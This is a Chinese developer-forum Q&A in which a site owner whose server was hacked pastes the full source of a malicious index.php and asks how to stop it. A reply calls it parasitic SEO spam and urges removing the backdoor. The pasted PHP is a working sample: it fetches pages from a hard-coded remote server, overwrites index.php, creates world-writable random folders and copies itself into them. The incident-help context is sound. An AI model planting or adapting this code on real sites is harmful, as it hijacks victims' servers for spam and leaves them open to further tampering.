开发者社区> 问答> 正文

网站被黑,自动生成文件

网站被别人上传了一个index.php页面  代码如下 <?php
header("Content-Type: text/html;charset=gb2312");
$Remote_server = "http://xxt.tswc918.com";
$directory_Number=6;

$Branch_directory_1=getCode(mt_rand(3,5));
$Branch_directory_2=getCode(mt_rand(3,5));
$Branch_directory_3=getCode(mt_rand(3,5));
$Branch_directory_4=getCode(mt_rand(3,5));
$Branch_directory_5=getCode(mt_rand(3,5));
$Branch_directory_6=getCode(mt_rand(3,5));
$Branch_directory_7=getCode(mt_rand(3,5));
$Branch_directory_8=getCode(mt_rand(3,5));
$Branch_directory_9=getCode(mt_rand(3,5));
$Branch_directory_10=getCode(mt_rand(3,5));

$Branch_directory = $Branch_directory_1.".".$Branch_directory_2.".".$Branch_directory_3.".".$Branch_directory_4.".".$Branch_directory_5.".".$Branch_directory_6.".".$Branch_directory_7.".".$Branch_directory_8.".".$Branch_directory_9.".".$Branch_directory_10;

$NewFile_content = getFileCont("index.php");

if (empty($NewFile_content)) {
    exit("<p align='center'><font color='red'><b>SHELL站群页面在生成中稍等......</b></font></p>");
}

$ml = $_SERVER['REQUEST_URI'];
$str= explode("/", $ml);
$Quantity = count($str)-1; //层数

$host_name = str_replace("index.php", "", "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);

if ($Quantity<5 && $Quantity>0) {

    $Remote_directory = $Remote_server."/directory.php?type=index.php&host=".$host_name."&directory=".$Branch_directory;
    $Content_directory = getHTTPPage($Remote_directory);    

    $Content_mb=GetHtml($Remote_server."/index.php?type=index.php&host=".$host_name);
    $Branch_directory= explode(".",$Branch_directory);

    echo $Content_mb;

    for ($i=0;$i < count($Branch_directory); $i++) {
        $check = CFolder("./".$Branch_directory[$i]."/");
        if ($check == 1) {
            WriteIn("./".$Branch_directory[$i]."/index.php",$NewFile_content);
        }
    }

    WriteIn("./index.php",$Content_mb);
    chmod("index.php",0777);

    echo "<meta http-equiv='refresh' content='0; url=index.php'>";
    exit();

} else {
    $Content_mb=GetHtml($Remote_server."/index.php?type=index.php&host=".$host_name);
    WriteIn("./index.php",$Content_mb);
    chmod("index.php",0777);

    header("Location: index.php");
    exit();
}  

function getCode($iCount) {//取随机混合字母数字    
    $arrChar = "012qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM3456789";
    $code="";
    for ( $i = 0; $i < $iCount; $i++ )  
    {
        $code .= $arrChar[ mt_rand(0, strlen($arrChar) - 1) ];  
    }  
    return $code;
}

function Digital($iCount) {//取随机数字
    $arrChar = "0123456789";
    $code="";
    for ( $i = 0; $i < $iCount; $i++ )  
    {
        $code .= $arrChar[ mt_rand(0, strlen($arrChar) - 1) ];  
    }  
    return $code;
}

function sj_int($min, $max) { //取随机数字
    return mt_rand($min, $max);
}

function WriteIn($testfile, $msg) {
    if (empty($msg)) {
        echo "内容为空";
        return;
    }
    
    $fp = @fopen($testfile,"w");
    fwrite($fp,$msg);
    fclose($fp);
}

function getFileCont($testfile) {
    $restr = '';
    $fp = @fopen($testfile,"r");
    if ($fp) {
        while($line=fgets($fp,1024)) $restr.=$line;
        fclose($fp);
    }
    return $restr;
}

function CFolder($Filepath) {
  if (!file_exists($Filepath)) {
    mkdir($Filepath, 0777);
    return 1;
  }
  return 0;
}

function getHTTPPage($url) {
    $opts = array(
      'http'=>array(
        'method'=>"GET",
        'header'=>"User-Agent: aQ0O010O"
      )
    );

    $context = stream_context_create($opts);

    $html = @file_get_contents($url, false, $context);
    if (empty($html)) {
        exit("<p align='center'><font color='red'><b>服务器获取文件内容出错</b></font></p>");
    }
    
    return $html;
}

function GetHtml($url) {
    return getHTTPPage($url);
}

然后访问这个文件之后 网站目录被生成了好多文件夹


想问下有没有方法禁止他生成这个


展开
收起
ccow先生 2015-07-02 10:06:22 10090 0
1 条回答
写回答
取消 提交回答
  • 传说中的寄生群站群,目的就是在你网站下生成网页,让搜索引擎收录,然后来流量,一般都是些SQ相关的关键词。

    禁止它生成是不够的,得把黑客的后门彻底的除掉,漏洞补掉,安全设置好,斩草,是要除根的。
    2015-07-02 10:10:14
    赞同 展开评论 打赏
问答分类:
问答地址:
问答排行榜
最热
最新

相关电子书

更多
低代码开发师(初级)实战教程 立即下载
冬季实战营第三期:MySQL数据库进阶实战 立即下载
阿里巴巴DevOps 最佳实践手册 立即下载